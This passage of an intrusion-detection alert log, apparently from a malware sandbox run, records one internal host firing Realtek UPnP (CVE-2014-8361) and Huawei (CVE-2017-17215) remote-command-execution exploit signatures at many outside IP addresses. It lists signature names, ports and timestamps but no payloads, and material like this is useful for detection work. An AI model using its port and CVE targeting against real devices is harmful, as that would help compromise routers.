Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.206.46.127

Timestamp:	07/20/24-23:01:41.263141
SID:	2025132
Source Port:	60330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 66.164.253.202

Timestamp:	07/20/24-23:01:31.316196
SID:	2027339
Source Port:	36560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.28.45.219

Timestamp:	07/20/24-23:01:40.294677
SID:	2835222
Source Port:	39244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 111.239.243.106

Timestamp:	07/20/24-23:01:58.822700
SID:	2025132
Source Port:	49678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.228.52.144

Timestamp:	07/20/24-23:01:31.974569
SID:	2829579
Source Port:	59904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.27.196.147

Timestamp:	07/20/24-23:01:41.328263
SID:	2027339
Source Port:	35892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 103.68.36.118

Timestamp:	07/20/24-23:01:41.383466
SID:	2025132
Source Port:	48316
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.122.87.133

Timestamp:	07/20/24-23:01:54.930155
SID:	2831300
Source Port:	57282
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.127.253.166

Timestamp:	07/20/24-23:01:59.593868
SID:	2027339
Source Port:	46206
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.96.159.120

Timestamp:	07/20/24-23:01:27.650871
SID:	2835222
Source Port:	56940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.230.61.146

Timestamp:	07/20/24-23:01:47.924852
SID:	2831300
Source Port:	58936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 131.154.57.89

Timestamp:	07/20/24-23:01:02.054387
SID:	2829579
Source Port:	51388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 20.63.97.204

Timestamp:	07/20/24-23:01:46.109136
SID:	2027339
Source Port:	40670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.241.179.191

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	42692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.184.40.220

Timestamp:	07/20/24-23:01:03.207719
SID:	2027339
Source Port:	59236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.146.42.42

Timestamp:	07/20/24-23:01:42.727671
SID:	2027339
Source Port:	59060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.243.97.104

Timestamp:	07/20/24-23:01:07.022763
SID:	2829579
Source Port:	50798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 130.180.210.230

Timestamp:	07/20/24-23:01:27.651332
SID:	2829579
Source Port:	60160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.46.6.6

Timestamp:	07/20/24-23:02:53.715694
SID:	2025132
Source Port:	50214
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 129.173.36.90

Timestamp:	07/20/24-23:01:52.972472
SID:	2027339
Source Port:	60870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.142.123.85

Timestamp:	07/20/24-23:01:26.719998
SID:	2027339
Source Port:	56050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.45.76.10

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	50810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.24.39.230

Timestamp:	07/20/24-23:00:59.191389
SID:	2835222
Source Port:	34754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.179.196.52

Timestamp:	07/20/24-23:01:02.055683
SID:	2835222
Source Port:	40528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 186.5.70.201

Timestamp:	07/20/24-23:01:41.279072
SID:	2025132
Source Port:	50020
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.173.48.45

Timestamp:	07/20/24-23:01:44.373922
SID:	2027339
Source Port:	52258
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.255.54.255

Timestamp:	07/20/24-23:02:26.420170
SID:	2027339
Source Port:	36260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.168.25.83

Timestamp:	07/20/24-23:01:58.202290
SID:	2027339
Source Port:	34350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.26.26.188

Timestamp:	07/20/24-23:01:43.994464
SID:	2025132
Source Port:	39712
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 77.15.73.106

Timestamp:	07/20/24-23:01:48.016319
SID:	2025132
Source Port:	42084
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.173.247.102

Timestamp:	07/20/24-23:02:09.704983
SID:	2027339
Source Port:	56436
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 19.252.46.199

Timestamp:	07/20/24-23:01:21.923917
SID:	2829579
Source Port:	46286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 154.103.167.31

Timestamp:	07/20/24-23:01:13.994729
SID:	2025132
Source Port:	50988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.126.39.49

Timestamp:	07/20/24-23:01:11.180811
SID:	2027339
Source Port:	40870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.98.251.144

Timestamp:	07/20/24-23:01:31.976984
SID:	2829579
Source Port:	40258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 139.93.41.17

Timestamp:	07/20/24-23:02:07.942303
SID:	2025132
Source Port:	48530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.29.185.108

Timestamp:	07/20/24-23:01:24.889164
SID:	2829579
Source Port:	52336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.226.8.25

Timestamp:	07/20/24-23:01:56.991428
SID:	2025132
Source Port:	53144
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.252.227

Timestamp:	07/20/24-23:01:31.982478
SID:	2829579
Source Port:	48318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.3.4.242

Timestamp:	07/20/24-23:01:48.286177
SID:	2027339
Source Port:	59364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.70.24.118

Timestamp:	07/20/24-23:01:07.061779
SID:	2835222
Source Port:	40284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 165.63.9.134

Timestamp:	07/20/24-23:02:00.413915
SID:	2027339
Source Port:	49516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.124.39.209

Timestamp:	07/20/24-23:01:43.917774
SID:	2027339
Source Port:	42596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.160.10.25

Timestamp:	07/20/24-23:01:44.944699
SID:	2831300
Source Port:	56168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 104.83.225.175

Timestamp:	07/20/24-23:02:00.113044
SID:	2025132
Source Port:	47818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.225.222.112

Timestamp:	07/20/24-23:00:59.168569
SID:	2829579
Source Port:	43828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.189.13.100

Timestamp:	07/20/24-23:01:11.818842
SID:	2835222
Source Port:	60604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 85.241.89.47

Timestamp:	07/20/24-23:01:53.697003
SID:	2025132
Source Port:	49450
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.236.107

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	57456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.215.81.142

Timestamp:	07/20/24-23:01:08.555688
SID:	2027339
Source Port:	59662
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.18.150.91

Timestamp:	07/20/24-23:01:41.345953
SID:	2027339
Source Port:	59176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.153.22.137

Timestamp:	07/20/24-23:01:11.822392
SID:	2835222
Source Port:	41642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.205.235.41

Timestamp:	07/20/24-23:01:43.515688
SID:	2025132
Source Port:	53120
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.204.90.199

Timestamp:	07/20/24-23:01:43.013772
SID:	2025132
Source Port:	41218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.135.159.113

Timestamp:	07/20/24-23:01:11.639230
SID:	2835222
Source Port:	42332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.54.73.191

Timestamp:	07/20/24-23:01:44.589820
SID:	2831300
Source Port:	41334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.182.125.5

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	33808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.64.55.120

Timestamp:	07/20/24-23:01:20.592206
SID:	2831300
Source Port:	40964
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.198.15.37

Timestamp:	07/20/24-23:01:55.994693
SID:	2025132
Source Port:	44766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.119.6.34

Timestamp:	07/20/24-23:01:47.729778
SID:	2831300
Source Port:	54816
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.211.193.35

Timestamp:	07/20/24-23:01:42.000471
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 202.140.13.200

Timestamp:	07/20/24-23:01:42.574571
SID:	2831300
Source Port:	49190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.46.94.209

Timestamp:	07/20/24-23:01:53.372532
SID:	2831300
Source Port:	33828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.189.57.200

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	47744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 39.114.224.236

Timestamp:	07/20/24-23:01:42.514942
SID:	2027339
Source Port:	32936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.109.143.129

Timestamp:	07/20/24-23:01:41.399866
SID:	2025132
Source Port:	44060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.130.206.241

Timestamp:	07/20/24-23:01:42.500263
SID:	2025132
Source Port:	38876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.47.80.71

Timestamp:	07/20/24-23:01:47.569820
SID:	2027339
Source Port:	59236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 94.66.88.32

Timestamp:	07/20/24-23:01:41.330687
SID:	2025132
Source Port:	52750
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.26.43

Timestamp:	07/20/24-23:00:57.221550
SID:	2829579
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.51.198.43

Timestamp:	07/20/24-23:00:59.172943
SID:	2835222
Source Port:	50406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 104.75.200.235

Timestamp:	07/20/24-23:01:08.611773
SID:	2831300
Source Port:	39856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.97.93.18

Timestamp:	07/20/24-23:01:31.974837
SID:	2835222
Source Port:	35808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.124.94.237

Timestamp:	07/20/24-23:01:08.559170
SID:	2831300
Source Port:	47126
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 34.85.175.26

Timestamp:	07/20/24-23:01:53.697942
SID:	2831300
Source Port:	59366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.51.221.45

Timestamp:	07/20/24-23:01:48.496838
SID:	2025132
Source Port:	58716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.48.47

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	35542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.95.219

Timestamp:	07/20/24-23:01:06.991143
SID:	2835222
Source Port:	55808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.127.156.38

Timestamp:	07/20/24-23:01:11.631728
SID:	2835222
Source Port:	58466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 139.56.86.16

Timestamp:	07/20/24-23:01:50.380701
SID:	2027339
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.236.96.35

Timestamp:	07/20/24-23:01:45.098864
SID:	2831300
Source Port:	52864
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 116.238.28.166

Timestamp:	07/20/24-23:01:51.021834
SID:	2025132
Source Port:	53978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.31.223.242

Timestamp:	07/20/24-23:01:04.996043
SID:	2027339
Source Port:	52076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.69.243.217

Timestamp:	07/20/24-23:01:43.994464
SID:	2027339
Source Port:	34850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 58.150.96.208

Timestamp:	07/20/24-23:01:00.634292
SID:	2835222
Source Port:	36066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.153.245

Timestamp:	07/20/24-23:01:04.085431
SID:	2835222
Source Port:	53176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.128.111.151

Timestamp:	07/20/24-23:01:41.318733
SID:	2025132
Source Port:	59840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.46.200

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	51926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.28.92.86

Timestamp:	07/20/24-23:01:51.360754
SID:	2027339
Source Port:	33704
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 65.82.234.209

Timestamp:	07/20/24-23:01:47.995202
SID:	2025132
Source Port:	60130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.205.210.219

Timestamp:	07/20/24-23:01:51.161030
SID:	2027339
Source Port:	45950
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.42.182.153

Timestamp:	07/20/24-23:02:03.032025
SID:	2025132
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.188.148.174

Timestamp:	07/20/24-23:01:31.976984
SID:	2835222
Source Port:	41924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.99.169.51

Timestamp:	07/20/24-23:01:11.636599
SID:	2829579
Source Port:	43754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.114.197.205

Timestamp:	07/20/24-23:01:20.131340
SID:	2829579
Source Port:	53976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 130.119.229.116

Timestamp:	07/20/24-23:01:52.144379
SID:	2831300
Source Port:	58952
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 79.113.232.226

Timestamp:	07/20/24-23:01:53.654810
SID:	2027339
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.34.184

Timestamp:	07/20/24-23:01:00.637175
SID:	2835222
Source Port:	58502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 25.61.31.63

Timestamp:	07/20/24-23:01:11.636599
SID:	2835222
Source Port:	38786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.109.181.179

